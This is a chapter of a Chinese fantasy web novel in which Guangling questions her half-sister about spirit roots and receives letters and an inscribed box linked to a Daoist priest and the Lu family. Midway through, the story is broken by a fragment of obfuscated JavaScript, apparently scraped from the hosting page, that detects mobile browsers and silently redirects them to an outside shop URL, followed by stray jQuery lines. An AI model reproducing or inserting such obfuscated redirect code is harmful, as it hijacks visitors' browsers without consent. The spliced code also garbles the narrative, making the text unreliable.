走出卢府大门,广灵发现这个妹妹似乎比她还要兴奋。
广灵有些好奇地问道:“你既自小便在东都长大,为何你母亲说你甚少与同龄人见面?”
卢广昭撇了撇嘴:“我娘管得严,怕我没规矩,甚少允我出门,也不带我参加什么宴集,闷都闷死了。”
“姐姐,你从灵地来,那边是不是有很多奇珍异兽、奇花异草?”
她期盼地望着广灵。广灵点了点头,又追问:“其他人家,也不让你这般年纪的姑娘出去参加宴集吗?”
卢广昭摇了摇头:“那我就不清楚了。”
过了一会儿,她又悄悄凑过来:“但我看的话本子里都说,那些大户人家的小姐都是要出门交际应酬的,什么赏花会、诗会、生辰宴,想来东都都有。”她的语气带了几分怨怪,“可我娘偏不让我去。”
广灵没想到又遇到一个话本子爱好者,所幸这次话本子看起来是派上些用场。听到这里,她心里有了计较。卢夫人对卢广昭的管束,显然不只是怕她“没规矩”那么简单,这背后必有隐情。
“你可别告诉我娘我看话本子!”嘴比脑子快的姑娘突然反应过来。
“我不说出去。但你要再回答我一个问题。”
“你说。”
“你可有测过灵根。”
这个问题让卢广昭愣了一下,随即撇过头:“你问这个做什么?你有灵根还需向我显摆不成?”
“你怎知我有灵根?”
“他们都这么说,说你生来就带有灵根,可惜没留住······”讲到一半,她收住了嘴。
“没留住什么?”
卢广昭咬了咬嘴唇,含糊道:“也没留住什么……就是,祖母偶尔会和叔父念叨,说你娘当年非带着你走,把卢家的灵根也带走了,害得卢家这一辈再没出过有灵根的人。”
“你也没有吗?”
卢广昭摇了摇头:“父亲曾请过一修士来为我测灵根,我娘说我没有这个缘分,强求不得。”她抬起头,眼睛里带着几分好奇,“姐姐,有了灵根……真的能修炼吗?”
“自然,但灵根只是一个入门的钥匙,真正能走多远,还要看个人的心性与机缘。灵地里有灵根却庸碌一生的人,也不在少数。”
想了想昨日午食时她遮掩灵力的话术,广灵忍痛加了一句:“比如我。”
卢广昭扑哧一声笑了出来。她毕竟还是孩子心性,也没将灵根的事放在心上,拉着广灵的袖子便往街市上走:“姐姐,别说这些了,我带你去东都最热闹的地方逛逛!”
陪卢广昭四处转悠了一天,回去的时候,刚刚伤愈的广灵只觉比在羽山巡山时还要累。她走进西厢,一头栽倒在床上,连翻身的力气都没有了。
还没躺多久,广灵又被兴冲冲跑来的卢广昭拉起来:“姐姐,姐姐!我娘说你回来了,明日刚好可以赶上杨府二小姐的生辰宴,有你带着,我也可以去呢!”
广灵原本迷迷糊糊的,听说可以去其他府邸赴宴,又清醒了过来。灵地修士多钻研修仙长生之道,对过生辰不甚在意,顶多小时候几个玩伴在一块学着凡尘办个家家酒,长大后便慢慢失去对时间的感知,也不再结绳记事,刻意在生辰这日画一笔。这样能一堆姑娘小姐热热闹闹挤在一块的机会更是罕见。
毕竟年岁不大,她与卢广昭咬了一会儿耳朵,听卢广昭畅想了一番杨府的生辰宴的样子,自己也添了几分兴趣。
卢广昭拿出了看话本子的深厚功底,咳嗽两声,告诉广灵:“依着凡尘的规矩,我们都该备礼去,我娘说她已备好了两份。明日我们坐马车去,早上可要好好打扮一番……”
卢广昭越说越起劲,广灵捕捉到了关键字眼,卢夫人从不让卢广昭与其他姑娘们一道玩,再到如今松口,最大的变数便是自己来了卢家。
“姐姐,你有没有在听?我说,早知明日要赴宴,今日在街上就该把时兴的花钿样式买下。唉,真是可惜!”卢广昭喋喋不休,话头越扯越远。
门外传来卢广昭丫鬟的叫声:“小姐,老太太请你去用饭呢!”
卢广昭应了一声,有些意犹未尽,不舍地拉了拉广灵的袖子:“明日一早我就来找你,你可要早些起来。”
广灵笑着点了点头。前脚刚送走这个小祖宗,她正想重新躺下好好思考,后脚就听见窗外传来几声极轻的叩响。
救命啊,修士也要休息!何况是难得不用被师兄师姐们拉起来上早晚课、练基本功的逍遥日子,怎么还有人不放过自己。
那声音又响了两下,一个熟悉的声音压低着传进来:“是我。”
广灵这才想起来,该送“药膳”的人,这一天都没露过面。她走到门口,打开门一瞧,果然是胡绥劭,于是敞开门道:“我说过,你可以走门。”
“你要是不怕麻烦,那我也不怕。”他笑嘻嘻地侧身挤了进来,递给广灵两封信。
广灵接过信,并未立刻展开,而是先抬眼看了看胡绥劭:“这是什么?”
“这卢家果然没有看上去那么简单,好在永吉牙行在各地都有些门路,消息也算灵通。卢氏老家在祁州,祖上三代都是读书人,你父亲卢冠修是家中次子,考中进士后一直没受到重用,可就在你母亲带着你离开后,官运亨通,一路做到如今的员外郎。”
广灵皱了皱眉,这其中果然有古怪。她展开信件,其中一封写信的人自称“冠文”,去信向一位三清观的道长求解。信中提及章氏已携女离开东都,卦象有变,恳请道长明示因果。
另一封信落款处没有署名,笔迹潦草,只言及卦中异像已经解决,然因果既成,已无可逆之法,不必执著于此。想来这或许便是那位道长给冠文的回信。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17885887|212527||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>广灵将这两封信反复看了几遍,抬头疑惑地吐出一连串问题:“这两封信你从何而来?这冠文是谁?信中的三清观又是一个什么地方?”
知晓广灵对东都不熟悉,胡绥劭耐心地解释了一番:“卢冠文是卢冠修的长兄,卢氏一族大小事项都经他手。而这三清观,则是东都最有名的一间道观,与不少官宦人家和灵地修士都有往来。”
“这信的来头就更有意思了。祁州分行的伙计作夜收到消息出去打探,你猜怎么着?”胡绥劭顿了顿,卖了个关子。
“想来是卢冠文或是那道长出了什么事,否则这些信件也不会落入你手。”广灵沉吟片刻猜道。
“广灵姑娘果然聪慧。卢冠文许是昨日收到了你家中的传信,傍晚便从祁州启程赶来东都,想来这几日就能赶到。而这道长更是古怪,十四年前便不知所踪,观中道童说他云游四方去了,但走之前嘱咐定要把屋舍给他留好,还说是给卢家人留了东西,若是卢家有人来找他,就把东西给出去。”
“这伙计机灵,立刻说自己是为了卢家女儿来的。那道童似是没想到,这才告诉伙计,道长嘱咐时说必不可透露这东西是给卢家女儿的,若卢家来的人主动提起女儿,才能将东西给出,否则就只把这两封信交出去。”
“伙计拿了东西,但拿不定主意,觉着这事不同一般,所以今晨就立刻请了修士施法将信和物件传来。”
胡绥劭从身后掏出一个包裹,解开系结,露出里面一只巴掌大的木匣,匣身刻着繁复的云纹,漆色暗沉,显然有些年头了。
“这就是那伙计从三清观带回来的东西?”广灵伸手接过,指尖触到木匣的瞬间,竟感到一丝微弱的灵力波动。
听了胡绥劭的话,她感觉事件千丝万缕,比自己原先想到的那些后宅阴私要复杂得多。这道长若想把东西交给卢家人,不必如此繁琐,刻意强调卢家女儿。就算是设下这个门槛,提及此事便能将东西带走,又显得此物并不那么重要。
思来想去,广灵觉得这道长就像是能预见昨日道童与伙计的会面一般。
“若不是那道长修于卜算之术,便是此事背后另有玄机。”广灵将木匣翻了个身,指尖停在云纹的凹槽处,“这匣子上怎么有个裂痕?”
她摩挲端详了片刻:“我不敢贸用灵力,不过······想来他的用意也无需真的动用灵力将匣子打开。”
广灵再次尝试感受了一番木匣中的灵力震动:“我猜,这是他们之间才知道的秘密,其他人就算拿到了匣子,也未必能读懂其中的玄机。”广灵睁开眼,眸中闪过一丝凝重,“这匣子的秘密,是留给某个特定的人。”
胡绥劭闻言,目光在木匣与广灵之间来回扫了一圈:“他的意思,难道不是留给想问卢家女儿之事的人吗?”
广灵粲然一笑:“谁说卢家只有我一个女儿了?”